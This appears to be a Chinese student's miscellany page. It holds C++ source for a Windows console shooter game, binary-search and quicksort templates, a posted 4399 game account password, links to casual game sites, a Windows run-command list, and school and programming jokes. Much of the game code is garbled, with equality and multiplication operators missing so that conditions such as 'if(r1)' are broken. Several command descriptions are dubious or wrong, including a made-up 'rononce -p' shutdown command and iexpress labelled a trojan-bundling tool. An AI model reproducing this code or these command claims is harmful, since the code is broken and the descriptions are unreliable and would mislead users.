            else if(I==X&&J==Y&&M/100==1) m[I][J]=0;
            else if(M/100==2&&m[I][J]/100==1) m[i][j]=32;
            else if(M/100==2&&m[I][J]<55&&m[I][J]>=50) m[i][j]=0;
            else if(m[I][J]==2||m[I][J]==3)//石
            {
                if((M%100)/10==0)
                {
                    int rr=rand()%3;
                    if(rr==0) Fan(i,j,M),m[i][j]+=10;
                    else m[i][j]=84;
                }
                if((M%100)/10==1)
                {
                    m[i][j]=84;
                    int rr=rand()%5;
                    if(rr==0&&F[14]==1&&M/100==1)
                    {
                            for(int ii=i-1;ii<=i+1;ii++)
                            for(int jj=j-1;jj<=j+1;jj++)
                            if(m[ii][jj]!=2&&m[ii][jj]!=3&&ii<=28&&jj<=28) m[ii][jj]=84;
                    }
                }
                if((M%100)/10==2)
                {
                    m[i][j]=84;
                    if(m[i-1][j]!=2&&m[i-1][j]!=3)     m[i-1][j]=111;
                    if(m[i-1][j+1]!=2&&m[i-1][j+1]!=3) m[i-1][j+1]=112;
                    if(m[i][j+1]!=2&&m[i][j+1]!=3)     m[i][j+1]=113;
                    if(m[i+1][j+1]!=2&&m[i+1][j+1]!=3) m[i+1][j+1]=114;
                    if(m[i+1][j]!=2&&m[i+1][j]!=3)     m[i+1][j]=115;
                    if(m[i+1][j-1]!=2&&m[i+1][j-1]!=3) m[i+1][j-1]=116;
                    if(m[i][j-1]!=2&&m[i][j-1]!=3)     m[i][j-1]=117;
                    if(m[i-1][j-1]!=2&&m[i-1][j-1]!=3) m[i-1][j-1]=118;
                }
                if((M%100)/10==3) {if(m[I][J]==2&&(I!=1&&J!=1&&I!=29&&J!=29)) m[I][J]=84;else m[i][j]=84;}
                if((M%100)/10==4) m[i][j]=84;
                if((M%100)/10==5)
                {
                    for(int ii=i-2;ii<=i+2;ii++)
                    for(int jj=j-2;jj<=j+2;jj++)
                    if(m[ii][jj]!=2&&m[ii][jj]!=3&&ii<=28&&jj<=28) m[ii][jj]=84;
                }
                if((M%100)/10==6)
                {
                    for(int ii=i-1;ii<=i+1;ii++)
                    for(int jj=j-1;jj<=j+1;jj++)
                    if(m[ii][jj]!=2&&m[ii][jj]!=3&&ii<=28&&jj<=28) m[ii][jj]=9;
                }
                if((M%100)/10>=7&&(M%100)/10<9) Fan(i,j,M),m[i][j]+=(rand()%2)*10;
                if((M%100)/10==9) m[i][j]=84;
            }
            else if(!CanGo(I,J,6))//其他
            {
                if((M%100)/10==0) m[I][J]=84,Fan(i,j,M),m[i][j]+=10;
                if((M%100)/10==1)
                {
                    if(M/100==2&&m[I][J]==50) m[i][j]=0;
                    else m[I][J]=84;
                    if(F[14]==1&&M/100==1)
                    {
                            for(int ii=I-1;ii<=I+1;ii++)
                            for(int jj=J-1;jj<=J+1;jj++)
                            if(m[ii][jj]!=2&&m[ii][jj]!=3&&ii<=28&&jj<=28) m[ii][jj]=84;
                    }
                }
                if((M%100)/10==2)
                {
                    m[I][J]=84;
                    if(m[I-1][J]!=2&&m[I-1][J]!=3)     m[I-1][J]=111;
                    if(m[I-1][J+1]!=2&&m[I-1][J+1]!=3) m[I-1][J+1]=112;
                    if(m[I][J+1]!=2&&m[I][J+1]!=3)     m[I][J+1]=113;
                    if(m[I+1][J+1]!=2&&m[I+1][J+1]!=3) m[I+1][J+1]=114;
                    if(m[I+1][J]!=2&&m[I+1][J]!=3)     m[I+1][J]=115;
                    if(m[I+1][J-1]!=2&&m[I+1][J-1]!=3) m[I+1][J-1]=116;
                    if(m[I][J-1]!=2&&m[I][J-1]!=3)     m[I][J-1]=117;
                    if(m[I-1][J-1]!=2&&m[I-1][J-1]!=3) m[I-1][J-1]=118;
                }
                if((M%100)/10==3) m[I][J]=M,nx[I][J]=1;
                if((M%100)/10==4) Light(i,j,M,3);
                if((M%100)/10==5)
                {
                    for(int ii=I-2;ii<=I+2;ii++)
                    for(int jj=J-2;jj<=J+2;jj++)
                    if(m[ii][jj]!=2&&m[ii][jj]!=3&&ii<=28&&jj<=28) m[ii][jj]=84;
                }
                if((M%100)/10==6)
                {
                    for(int ii=I-1;ii<=I+1;ii++)
                    for(int jj=J-1;jj<=J+1;jj++)
                    if(m[ii][jj]!=2&&m[ii][jj]!=3&&ii<=28&&jj<=28) m[ii][jj]=9;
                }
                if((M%100)/10>=7&&(M%100)/10<9) m[I][J]=84,Fan(i,j,M);
                if((M%100)/10==9) m[I][J]=84;
            }
            else//空地
            {
                if((M%100)/10==6)
                {
                    m[i][j]=9;
                    if(CanGo(i,j-1,5)) m[i][j-1]=9;if(CanGo(i,j+1,5)) m[i][j+1]=9;
                    if(CanGo(i-1,j,5)) m[i-1][j]=9;if(CanGo(i-1,j,5)) m[i+1][j]=9;
                    m[I][J]=M,nx[I][J]=1;
                }
                if((M%100)/10==4) m[i][j]=84,m[I][J]=M,i=2,j=2;
                else m[I][J]=M,nx[I][J]=1;
            }
        }
    }
    if(Bblood>0) Boss();
    

    } void Bullet() { int I=0,J=0,R=rand()%10,Rr=rand()%3,Rrr,K=0,tg=gunT; Hh:Rrr=rand()%20; if(gunT1&&m[X-1][Y]!=2&&m[X-1][Y]!=3) I=X-1,J=Y; if(gunT2&&m[X-1][Y+1]!=2&&m[X-1][Y+1]!=3) I=X-1,J=Y+1; if(gunT3&&m[X][Y+1]!=2&&m[X][Y+1]!=3) I=X,J=Y+1; if(gunT4&&m[X+1][Y+1]!=2&&m[X+1][Y+1]!=3) I=X+1,J=Y+1; if(gunT5&&m[X+1][Y]!=2&&m[X+1][Y]!=3) I=X+1,J=Y; if(gunT6&&m[X+1][Y-1]!=2&&m[X+1][Y-1]!=3) I=X+1,J=Y-1; if(gunT7&&m[X][Y-1]!=2&&m[X][Y-1]!=3) I=X,J=Y-1; if(gunT8&&m[X-1][Y-1]!=2&&m[X-1][Y-1]!=3) I=X-1,J=Y-1; if(I!=0&&J!=0) m[I][J]=100+10gunZ+gunT; if(K1) m[I][J]=110+gunT; if(F[2]1&&gunZ1) m[I][J]=100+gunT; if(F[8]1&&R0&&K0) {gunT=rand()%8+1;K=1;goto Hh;} if(F[8]1&&K!=0&&K<Rr) {gunT=rand()%8+1;K++;goto Hh;} if(K>=Rr) gunT=tg; if(Rrr0&&F[11]1&&K0) {m[I][J]=100+10(rand()%7+1)+gunT;} if(gunZ!=1) {G[gunZ]--; if(G[gunZ]<=0) G[gunZ]=0,gunZ=1;Map(3);} } void OpenBox(int a) { for(int i=X-1;i<=X+1;i++) for(int j=Y-1;j<=Y+1;j++) if(m[i][j]3) { int r=2;// if(a1) r=rand()%6+2; if(F[9]1) r=rand()%12+2; SetPos(i,j);Color(5); if(r2) cout<<"分裂枪!"; if(r3) cout<<"穿甲枪!"; if(r4) cout<<"激光枪!"; if(r5) cout<<"爆炸枪!"; if(r6) cout<<"毒气枪!"; if(r7) cout<<"弹跳枪!"; if(r8) cout<<"生命药水!",Blood=min(Blood+5,Bmax+2),Map(3); if(r9) cout<<"盾牌药水!",Dun=min(Dun+5,Dmax+2),Map(3); if(F[9]1&&r>=8&&r<=13) cout<<"生命药水!",Blood=min(Blood+5,Bmax+2),Map(3); Sleep(1000);m[i][j]=84;if(r<=7&&F[6]0) gunZ=r,G[r]+=10;if(r<=7&&F[6]1) gunZ=r,G[r]+=20; SetPos(i,j); cout<<" ";Map(0); } } void Sheng() { memset(m,0,sizeof(m));memset(n,0,sizeof(n)); int q=0,T=0,II=0,JJ=0; Re: q++; int r=rand()%15+1; if(F[19]1) r=rand()%20+1; if(r1) {for(int i=5;i<=7;i++)for(int j=5;j<=7;j++) m[i][j]=2;for(int i=23;i<=25;i++)for(int j=5;j<=7;j++) m[i][j]=2;for(int i=5;i<=7;i++)for(int j=23;j<=25;j++) m[i][j]=2;for(int i=23;i<=25;i++)for(int j=23;j<=25;j++) m[i][j]=2;} if(r2) {for(int i=13;i<=17;i++) for(int j=13;j<=17;j++) m[i][j]=1;} if(r3) {for(int i=2;i<=28;i++) m[i][6]=m[i][24]=m[6][i]=m[24][i]=1;} if(r4) {for(int i=2;i<=28;i++) m[i][15]=m[15][i]=1;} if(r5) {for(int i=2;i<=28;i++) if(abs(i-15)>=3) m[i][15]=m[15][i]=2;} if(r6) {for(int i=2;i<=28;i++) for(int j=2;j<=28;j++) if(ij||i+j30) m[i][j]=1;} if(r7) {for(int i=2;i<=28;i++) for(int j=2;j<=28;j++) if(abs(i-15)+abs(j-15)10) m[i][j]=1;} if(r8) {for(int i=5;i<=25;i++) if(abs(i-15)>=2) m[i][10]=m[i][20]=m[10][i]=m[20][i]=2;} if(r9) {for(int i=2;i<=28;i++) for(int j=2;j<=28;j++) {int rr=rand()%20; if(rr0&&m[i][j]0) m[i][j]=1;}} if(r>=10&&II0) {T--;int ii=rand()%27+2;int jj=rand()%27+2; for(int i=ii-1;i<=ii+1;i++) for(int j=jj-1;j<=jj+1;j++) if(m[i][j]0) m[i][j]=1;II=ii,JJ=jj;} if(r>=10&&II!=0) goto Re;if(Lev<=5&&q<2) goto Re; T++;if(T1) goto Re;if(II!=0) m[II][JJ]=3; r=rand()%15+1; if(r1) {for(int i=5;i<=25;i++) n[i][4]=n[i][9]=n[i][15]=n[i][21]=n[i][26]=31;} if(r2) {for(int i=8;i<=22;i++) n[i][8]=n[i][22]=n[8][i]=n[22][i]=31;} if(r3) {for(int i=1;i<=5;i++) {int ii=rand()%23+4,jj=rand()%23+4;for(int ki=ii-2;ki<=ii+2;ki++)for(int kj=jj-2;kj<=jj+2;kj++) if(abs(ki-X)>2||abs(kj-Y)>2) n[ki][kj]=1;}} if(r4) {for(int i=1;i<=7;i++) {int ii=rand()%23+4,jj=rand()%23+4;for(int ki=ii-1;ki<=ii+1;ki++)for(int kj=jj-1;kj<=jj+1;kj++) n[ki][kj]=11;}} if(r5) {for(int i=1;i<=20;i++) {int ii=rand()%23+4,jj=rand()%13+1;jj*=2;for(int ki=ii-1;ki<=ii+1;ki++) n[jj+1][ki]=31;}} if(r6) {for(int i=2;i<=28;i++) n[i][9]=n[i][10]=n[i][20]=n[i][21]=11;} if(r7) {for(int i=5;i<=25;i++) n[4][i]=n[9][i]=n[15][i]=n[21][i]=n[26][i]=31;} if(r8) {for(int i=7;i<=23;i++) for(int j=7;j<=23;j++) if(ij||i+j30) n[i][j]=31;} if(r9) {for(int i=2;i<=28;i++) {if(i!=4&&i!=26&&!(iY&&(14<=X&&16>=X))) n[14][i]=n[15][i]=n[16][i]=1; m[14][i]=m[15][i]=m[16][i]=0;}} if(r10) {for(int i=7;i<=23;i++) if(abs(i-15)>1) n[i][7]=n[i][23]=n[7][i]=n[23][i]=1;} Kk: int k=0,K[35][35]; memset(K,0,sizeof(K)); if(Lev%5!=4) { for(int i=2;i<=28;i++)//怪 for(int j=2;j<=28;j++) { if(Lev<=1) {int r=rand()%150;if(r0) K[i][j]=50,k++;} else if(Lev<=2) {int r=rand()%200;if(r0) K[i][j]=50;if(r1) K[i][j]=51;if(r<=1) k++;} else if(Lev<=3) {int r=rand()%300;if(r0) K[i][j]=50;if(r1) K[i][j]=51;if(r2) K[i][j]=52;if(r<=2) k++;} else if(Lev<=5) {int r=rand()%400;if(r0) K[i][j]=50;if(r1) K[i][j]=51;if(r2) K[i][j]=52;if(r3) K[i][j]=53;if(r<=3) k++;} else if(Lev<=7) {int r=rand()%350;if(r0) K[i][j]=50;if(r1) K[i][j]=51;if(r2) K[i][j]=52;if(r3) K[i][j]=53;if(r4) K[i][j]=54;if(r<=4) k++;} else {int r;if(Lev<=10) r=rand()%300;if(Lev<=15) r=rand()%280;if(Lev<=20) r=rand()%250;if(Lev<=25) r=rand()%230;if(r0) K[i][j]=50;if(r1) K[i][j]=51;if(r2) K[i][j]=52;if(r3) K[i][j]=53;if(r4) K[i][j]=54;if(r<=4) k++;} }if(k<3) goto Kk;if(k>5&&Lev<=3) goto Kk;if(k<5&&Lev>=10) goto Kk;if(k>10&&Lev<=10) goto Kk;if(k>15&&Lev<=15) goto Kk;if(k<10&&Lev>=20) goto Kk;if(k>20&&Lev<=20) goto Kk; } for(int i=2;i<=28;i++) for(int j=2;j<=28;j++) {if(n[i][j]!=0) m[i][j]=0;if(K[i][j]!=0&&(m[i-1][j]!=2||m[i+1][j]!=2||m[i][j-1]!=2||m[i][j+1]!=2)) m[i][j]=K[i][j];} if(Lev%54) {int ms;if(Lev4) ms=3;if(Lev9) ms=5;if(Lev14) ms=10;if(Lev19) ms=15;if(Lev24) ms=20;Bx=rand()%23+4,By=rand()%23+4;Bblood=ms*12;for(int i=14;i<=16;i++) for(int j=14;j<=16;j++) m[i][j]=n[i][j]=0;} for(int i=X-1;i<=X+1;i++) for(int j=Y-1;j<=Y+1;j++) if(i!=1&&i!=29&&j!=1&&j!=29) m[i][j]=0; for(int i=1;i<=29;i++) m[1][i]=2,m[29][i]=2; for(int i=1;i<=29;i++) m[i][1]=2,m[i][29]=2;//周围石块 } void TianFu() { int A[4],ss=0; system("cls"); SetPos(5,5),cout<<"选择一个天赋!(数字键选择)"; Tf: int R=rand()%20+1; for(int i=1;i<=3;i++) if(RA[i]) goto Tf; if(F[R]1) goto Tf; ss++,A[ss]=R; SetPos(4*ss+5,8),cout<<ss<<"、"; if(R1) SetPos(4ss+5,10),cout<<"盾牌恢复速度增加"; if(R==2) SetPos(4ss+5,10),cout<<"普通子弹有概率弹跳"; if(R3) SetPos(4*ss+5,10),cout<<"怪物子弹速度变慢"; if(R4) SetPos(4ss+5,10),cout<<"免疫地刺和怪物的毒"; if(R==5) SetPos(4ss+5,10),cout<<"开局无敌时间增加"; if(R6) SetPos(4*ss+5,10),cout<<"宝箱子弹量增加"; if(R7) SetPos(4ss+5,10),cout<<"盾牌上限增加"; if(R==8) SetPos(4ss+5,10),cout<<"有概率发射散弹"; if(R9) SetPos(4*ss+5,10),cout<<"宝箱抽出生命水概率增加"; if(R10) SetPos(4ss+5,10),cout<<"每次开局有概率增加生命"; if(R==11) SetPos(4ss+5,10),cout<<"有概率发射特殊子弹"; if(R12) SetPos(4*ss+5,10),cout<<"激光伤害减半"; if(R13) SetPos(4ss+5,10),cout<<"盾牌爆后无敌一段时间"; if(R==14) SetPos(4ss+5,10),cout<<"普通子弹有概率爆炸"; if(R15) SetPos(4*ss+5,10),cout<<"杀死怪有几率加盾(BOSS关除外)"; if(R16) SetPos(4ss+5,10),cout<<"出场释放冲击波"; if(R==17) SetPos(4ss+5,10),cout<<"盾牌爆后释放冲击波"; if(R18) SetPos(4*ss+5,10),cout<<"有概率在身周放毒"; if(R19) SetPos(4ss+5,10),cout<<"刷出宝箱概率增加"; if(R==20) SetPos(4ss+5,10),cout<<"每次开局获得一把枪"; if(ss<3) goto Tf; tF: char c=_getch(); if(c>='1'&&c<='3') F[A[c-'0']]=1; else goto tF; if(A[c-'0']7) Dmax+=3; } void GuaiQuan() { X=3,Y=3;Win=-1;system("cls");Color(0); memset(m,0,sizeof(m));memset(n,0,sizeof(n)); for(int i=1;i<=29;i++) m[1][i]=2,m[29][i]=2; for(int i=1;i<=29;i++) m[i][1]=2,m[i][29]=2;//周围石块 for(int i=4;i<=12;i++) m[i][4]=m[i][12]=m[4][i]=m[12][i]=m[i][18]=m[i][26]=m[18][i]=m[26][i]=2; for(int i=18;i<=26;i++) m[i][4]=m[i][12]=m[4][i]=m[12][i]=m[i][18]=m[i][26]=m[18][i]=m[26][i]=2; for(int i=11;i<=19;i++) m[i][11]=m[i][19]=m[11][i]=m[19][i]=2; for(int i=6;i<=10;i++) for(int j=13;j<=17;j++) m[i][j]=1; m[8][8]=50;m[8][21]=51;m[15][15]=52;m[21][8]=53;m[21][21]=54;m[16][23]=3;Map(5); SetPos(3,5);cout<<"←你";SetPos(4,14);cout<<"木箱↓";SetPos(17,4);cout<<"铁块↓";SetPos(17,21);cout<<"宝箱↑"; SetPos(13,5);cout<<"无脑小怪↑";SetPos(14,21);cout<<"剧毒小怪↑"; SetPos(20,13);cout<<"散弹小怪↑";SetPos(27,5);cout<<"狙击小怪↑";SetPos(27,21);cout<<"激光小怪↑"; while(1) { if(bu>0) bu--; if(GetAsyncKeyState(VK_UP)&0x8000) Map(2),gx--; else if(GetAsyncKeyState(VK_DOWN)&0x8000) Map(2),gx++; else if(GetAsyncKeyState(VK_LEFT)&0x8000) Map(2),gy--; else if(GetAsyncKeyState(VK_RIGHT)&0x8000) Map(2),gy++; if(kbhit()) { char g=_getch(); if(g'a') {Map(2); if(gunT!=1) gunT--;else gunT=8;} if(g=='d') {Map(2); if(gunT!=8) gunT++;else gunT=1;} if(g=='w') OpenBox(1); if(g=='s'&&bu<=2) Bullet(),bu+=2; if(g==' ') Sleep(100),SetPos(-1,18),sy++,system("pause"); if(g=='y'&&Win<0) {break;} } if(sy1) SetPos(-1,18),cout<<" ",sy--; Move(); Map(0); Sleep(50); }Lev=0;Blood=10,Dun=10,Bmax=10,Dmax=10; } void Start() { Color(5); SetPos(2,3);cout<<" ■■■■■■ ■ "; SetPos(3,3);cout<<" ■■■■■■■■ "; SetPos(4,3);cout<<" ■ "; SetPos(5,3);cout<<" ■■■■■■■■■■ ■ ■■■■■■ "; SetPos(6,3);cout<<" ■ ■ "; SetPos(7,3);cout<<" ■ ■ ■■■■■■■ "; SetPos(8,3);cout<<" ■ ■ ■ ■ "; SetPos(9,3);cout<<" ■■ ■■■ ■ "; SetPos(10,3);cout<<" ■ ■ "; SetPos(11,3);cout<<" 小 ■■■■ "; SetPos(13,3);cout<<" 2.0版本: "; SetPos(14,3);cout<<" ■■■ ■ "; SetPos(15,3);cout<<" 新增BOSS!Crab-Dave! ■ ■ ■ "; SetPos(16,3);cout<<" ■■■ ■ ■ "; SetPos(17,3);cout<<" 水,生木块,地刺加入战场! ■ ■ ■■■■■"; SetPos(18,3);cout<<" ■ ■ "; SetPos(19,3);cout<<" 身周不会刷出石和水了! ■■■ ■■■■ "; SetPos(20,3);cout<<" ■ ■ ■ ■ "; SetPos(21,3);cout<<" BUG修正于小优化!努力通关吧! ■ ■ ■ ■ "; SetPos(22,3);cout<<" ■■ ■ ■■■■ "; SetPos(25,4);Color(1);cout<<"按 y 开始游戏!"; SetPos(29,3);Color(3);cout<<"注意!这里 绝对不能是拼音输入法!"; A:char y=_getch(); if(y'y') return; else goto A; } void Bling() { for(int i=0;i<=3;i++) { system("color 1A");Sleep(10); system("color 2B");Sleep(10); system("color 3C");Sleep(10); system("color 4D");Sleep(10); system("color 5D");Sleep(10); system("color 6E");Sleep(10); system("color 7F");Sleep(10); }system("color 0F");system("cls"); } void BaoBo(int B) { for(int i=X-B;i<=X+B;i++) if(CanGo(i,Y-B,3)&&i>0&&Y-B>0) m[i][Y-B]=86,m[i][Y-B+1]=8; for(int i=X-B;i<=X+B;i++) if(CanGo(i,Y+B,3)&&i>0&&Y+B>0) m[i][Y+B]=86,m[i][Y+B-1]=8; for(int j=Y-B;j<=Y+B;j++) if(CanGo(X+B,j,3)&&j>0&&X+B>0) m[X+B][j]=86,m[X+B-1][Y]=8; for(int j=Y-B;j<=Y+B;j++) if(CanGo(X-B,j,3)&&j>0&&X-B>0) m[X-B][j]=86,m[X-B+1][Y]=8; } void Ci() { for(int i=1;i<=29;i++) for(int j=1;j<=29;j++) { if(n[i][j]>=10&&n[i][j]<50&&n[i][j]!=30) n[i][j]++; if(n[i][j]50) {n[i][j]=31;if(m[i][j]2) m[i][j]=0;} if(n[i][j]45&&!(m[i][j]>=50&&m[i][j]<55)&&!(abs(Bx-i)<=1&&abs(By-i)<=1)) m[i][j]=2; if(n[i][j]>20&&n[i][j]<=30&&m[i][j]0) n[i][j]=10; if(n[i][j]20&&m[i][j]0&&!(abs(Bx-i)<=1&&abs(By-i)<=1)) m[i][j]=1; } } int main() { system("mode con cols=62 lines=34"); CONSOLE_CURSOR_INFO cursor_info={1,0}; SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE),&cursor_info); srand((unsigned)time(NULL)); SSt: Start();Bling(); X=4,Y=8,gx=gy=0,gunT=1,gunZ=1,Lev=0,T; Blood=10,Dun=10,Bmax=10,Dmax=10; memset(G,0,sizeof(G)); memset(F,0,sizeof(F)); GuaiQuan(); St: Win=0;Bo=Boo=0; memset(m,0,sizeof(m)); if(Lev%50&&Lev!=0) TianFu(); Bling();T=0;Sheng();Map(1);int rr=rand()%3; if(F[5]1) WuDi=60;else WuDi=30; if(rr0&&F[10]1) Blood=min(Blood+1,Bmax); if(F[16]1) Bo=4; if(F[20]1) {int Q=rand()%7+2;gunZ=Q,G[Q]=5;} while(Win<=0&&Blood>0&&Lev<25) { T++; if(bu>0) bu--; if(WuDi>0) WuDi--; if(WuDi1) WuDi--,Map(4); if(Bo>0) BaoBo(5-Bo),Bo--; if(Boo>0) BaoBo(4-Boo),Boo--; if(F[18]1) { int Rrr=rand()%30; if(Rrr0) for(int i=X-2;i<=X+2;i++) for(int j=Y-2;j<=Y+2;j++) if(CanGo(i,j,5)&&i>0&&j>0) m[i][j]=9; } if(Dun<Dmax) { if(F[1]1&&T%300) Dun++,Map(3); if(F[1]0&&T%700) Dun++,Map(3); } if(GetAsyncKeyState(VK_UP)&0x8000) Map(2),gx--; else if(GetAsyncKeyState(VK_DOWN)&0x8000) Map(2),gx++; else if(GetAsyncKeyState(VK_LEFT)&0x8000) Map(2),gy--; else if(GetAsyncKeyState(VK_RIGHT)&0x8000) Map(2),gy++; if(kbhit()) { char g=_getch(); if(g'a') {Map(2); if(gunT!=1) gunT--;else gunT=8;} if(g'd') {Map(2); if(gunT!=8) gunT++;else gunT=1;} if(g'w') OpenBox(0); if(g's'&&bu<=2) Bullet(),bu+=2; if(g' ') Sleep(100),SetPos(-1,18),sy++,system("pause"); } if(sy1) SetPos(-1,18),cout<<" ",sy--; if(T%20) Ci(); Move();Map(0);Sleep(50); } if(Win0&&Blood<=0&&Lev<25) { system("color 7F"),Color(4);Lev=0;Blood=Dun=Bmax=Dmax=10; Bblood=Bsi=Bjiao=Bdu=Bfang=0; memset(G,0,sizeof(G)); memset(F,0,sizeof(F)); SetPos(2,2);cout<<"You! Die!!!",Sleep(1000); SetPos(3,2);cout<<"Please point 'y' to Play AGain."; } if(Lev<25) { A:char e=_getch();if(e'y') goto St;else goto A;} if(Lev==25) { system("color 6E"),Color(5); SetPos(2,2),cout<<"You! Pass All The Level!!!";Sleep(3000); system("color 0F");system("cls");goto SSt; } return 0; } 二分查找模板

    int erfen(int c[],int b,int g){ int tou=0,wei=b-1; while(tou<=wei){ int mid=(tou+wei)/2; if(c[mid]>=g){ wei=mid-1; }else if(c[mid]<g){ tou=mid+1; } } if(c[tou]==g){ return tou+1; } return -1; } 快速排序模板

    #include <bits/stdc++.h> using namespace std; /* 对n个数进行排序 */ const int N=1e5+5; int a[N];//原数组 int n; void fast_sort(int left,int right){ //基本情况,递归边界 if(left>=right){ return; } //交换枢纽元,一般选中间值 int mid=(left+right)/2; //交换枢纽元和最右边的值 swap(a[mid],a[right]); int i=left,j=right-1; while(i<=j){//区间没有交错,还有元素处理 //i往右移动,直到找到比枢纽元大的数 while(a[i]<a[right]){ i++; } //j往左移动,直到找到比枢纽元小的数 while(a[j]>a[right]){ j--; } if(i<=j){ swap(a[i],a[j]); i++; j--; } } //交换枢纽元和i交换 swap(a[right],a[i]);

    //对左右区间进一步划分 
    fast_sort(left,i-1);//左 
    fast_sort(i+1,right);//右 
    

    }

    int main(){ //先输入一个n,再输入n个数 cin>>n; for(int i=1;i<=n;i++){ cin>>a[i]; } fast_sort(1,n); for(int i=1;i<=n;i++){ cout<<a[i]<<" "; } return 0; } 4399通用账号:2423764051 密码:111111

    chrome://dino 打开小恐龙 https://corezwb.lanzouq.com/iAFNA01ud3qj 密码gs83

    摸鱼人的小仓库 http://www.staggeringbeauty.com/ 大虫子 https://www.ak-ioi.com/apps/oi-2048/ 华容道 chrome://dino/ 小恐龙 https://littlealchemy2.com/ 小小炼金师 https://2048game.com/ 数字组 https://dimit.me/Fe26/index_zh_CN.html 死铁 http://www.4399.com/ 4399 https://www.mazegenerator.net/ 迷宫 https://lewan.baidu.com/rankland?idfrom=5056&gameSource=mini&gameType=0 百度游戏 [https://deepmess.com/namerena/]名字竞技场 ev.io 枪战游戏https://www.crazygames.com/game/air-wars-2 飞机 https://www.crazygames.com/game/kirka-io 枪战 https://www.crazygames.com/game/ev-io 枪战 CrazyGames - Free Online Games on CrazyGames.com

    三、Windows CMD命令大全

    gpedit.msc-----组策略 sndrec32-------录音机 Nslookup-------IP地址侦测器 ,是一个 监测网络中 DNS 服务器是否能正确实现域名解析的命令行工具。 它在 Windows NT/2000/XP 中均可使用 , 但在 Windows 98 中却没有集成这一个工具。 explorer-------打开资源管理器 logoff---------注销命令 shutdown-------60秒倒计时关机命令 lusrmgr.msc----本机用户和组 services.msc---本地服务设置 oobe/msoobe /a----检查XP是否激活 notepad--------打开记事本 cleanmgr-------垃圾整理 net start messenger----开始信使服务 compmgmt.msc---计算机管理 net stop messenger-----停止信使服务 conf-----------启动netmeeting dvdplay--------DVD播放器 charmap--------启动字符映射表 diskmgmt.msc---磁盘管理实用程序 calc-----------启动计算器 dfrg.msc-------磁盘碎片整理程序 chkdsk.exe-----Chkdsk磁盘检查 devmgmt.msc--- 设备管理器 regsvr32 /u *.dll----停止dll文件运行 drwtsn32------ 系统医生 rononce -p----15秒关机 dxdiag---------检查DirectX信息 regedt32-------注册表编辑器 Msconfig.exe---系统配置实用程序 rsop.msc-------组策略结果集 mem.exe--------显示内存使用情况 regedit.exe----注册表 winchat--------XP自带局域网聊天 progman--------程序管理器 winmsd---------系统信息 perfmon.msc----计算机性能监测程序 winver---------检查Windows版本 sfc /scannow-----扫描错误并复原 taskmgr-----任务管理器(2000/xp/2003 wmimgmt.msc----打开windows管理体系结构(WMI) wupdmgr--------windows更新程序 wscript--------windows脚本宿主设置 write----------写字板 wiaacmgr-------扫描仪和照相机向导 winchat--------XP自带局域网聊天 mplayer2-------简易widnows media player mspaint--------画图板 mstsc----------远程桌面连接 magnify--------放大镜实用程序 mmc------------打开控制台 mobsync--------同步命令 iexpress-------木马捆绑工具,系统自带 fsmgmt.msc-----共享文件夹管理器 utilman--------辅助工具管理器 dcomcnfg-------打开系统组件服务 ddeshare-------打开DDE共享设置 osk------------打开屏幕键盘 odbcad32-------ODBC数据源管理器 oobe/msoobe /a----检查XP是否激活 ntbackup-------系统备份和还原 narrator-------屏幕“讲述人” ntmsmgr.msc----移动存储管理器 ntmsoprq.msc---移动存储管理员操作请求 netstat -an----(TC)命令检查接口 syncapp--------创建一个公文包 sysedit--------系统配置编辑器 sigverif-------文件签名验证程序 ciadv.msc------索引服务程序 shrpubw--------创建共享文件夹 secpol.msc-----本地安全策略 syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码 services.msc---本地服务设置 Sndvol32-------音量控制程序 sfc.exe--------系统文件检查器 sfc /scannow---windows文件保护 ciadv.msc------索引服务程序 tourstart------xp简介(安装完成后出现的漫游xp程序) taskmgr--------任务管理器 eventvwr-------事件查看器 eudcedit-------造字程序 compmgmt.msc---计算机管理 packager-------对象包装程序 perfmon.msc----计算机性能监测程序 charmap--------启动字符映射表 cliconfg-------SQL SERVER 客户端网络实用程序 Clipbrd--------剪贴板查看器 conf-----------启动netmeeting certmgr.msc----证书管理实用程序 regsvr32 /u *.dll----停止dll文件运行 regsvr32 /u zipfldr.dll------取消ZIP支持 cmd.exe--------CMD命令提示符哪里有什么胭脂想象,不过是虚晃一梦罢了,梦醒了,什么都没有了 英语不及格,说明我爱国;

    语文不及格,恋爱没资格;

    物理不及格,电死不负责;

    化学不及格,硫酸也喝得;

    政治不及格,老师没道德;

    信息不及格,网吧要打折;

    数学不及格,突出我性格;

    历史不及格,社会要改革;

    全科不及格,老妈动真格!

    语文老师一回头,此地空余黄鹤楼。

    数学老师一回头,二次函数对称轴。

    英语老师一回头,sorry加上thank you。

    化学老师一回头,二氧化碳变汽油。

    物理老师一回头,一跟杠杆撬地球。

    生物老师一回头,试管婴儿水中游。

    地理老师一回头,大陆版块乱漂流。

    历史老师一回头,秦始皇来推铅球。

    劳技老师一回头,破铜烂铁来走秀。

    政治老师一回头,布什改行卖豆油。

    美术老师一回头,蒙娜丽莎也风流。

    体育老师一回头,奥运取消打篮球。

    电脑老师一回头,学生全成阿Q友。

    全体老师一回头,世界人民没自由。

    "AC=Answer Coarse=粗劣的答案"

    "WA=Wonderful Answer=好答案"

    "TLE=Time Limit Enough=时间充裕"

    "MLE=Memory Limit Enough=内存充裕"

    "CE=Compile Easily=轻松通过编译"

    "RE=Run Excellently=完美运行"

    "UKE=Unbelievablly Keep Enough Score=难以置信地保持足够的分数"

    "AU=All Unaccepted=全都不正确"

    骗分过样例,暴力出奇迹。

    数学先打表,DP看运气。

    穷举TLE,递推UKE。

    模拟MLE,贪心还CE。

    想要骗到分,就要有方法。

    图论背模板,数论背公式。

    动规背方程,高精背代码。

    如果都没背,干脆输样例。

    模拟只会猜题意,贪心只能过样例;

    数学上来先打表,DP一般看规律.

    组合数学靠运气,计算几何瞎暴力;

    图论强行套模板,数论只会GCD.

    递归递推伤不起,搜索茫然TLE;

    分治做得像枚举,暴力枚举数第一.

    数据结构干瞪眼,怒刷水题找信心;

    涨姿势也不容易,考试一来全懵逼!

    如果

    A B C D E F G H I J K L M N O P Q R S T U V W X Y Z

    分别等于

    1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26。

    那么:

    Knowledge (知识): K+N+O+W+L+E+D+G+E= 11+14+15+23+12+5+4+7+5=96。

    Workhard (努力工作):W+O+R+K+H+A+R+D= 23+15+18+11+8+1+18+4 =98。

    也就是说知识和努力工作对我们人生的影响可以达到96和98。

    Luck(好运) L+U+C+K=12+21+3+11=47。

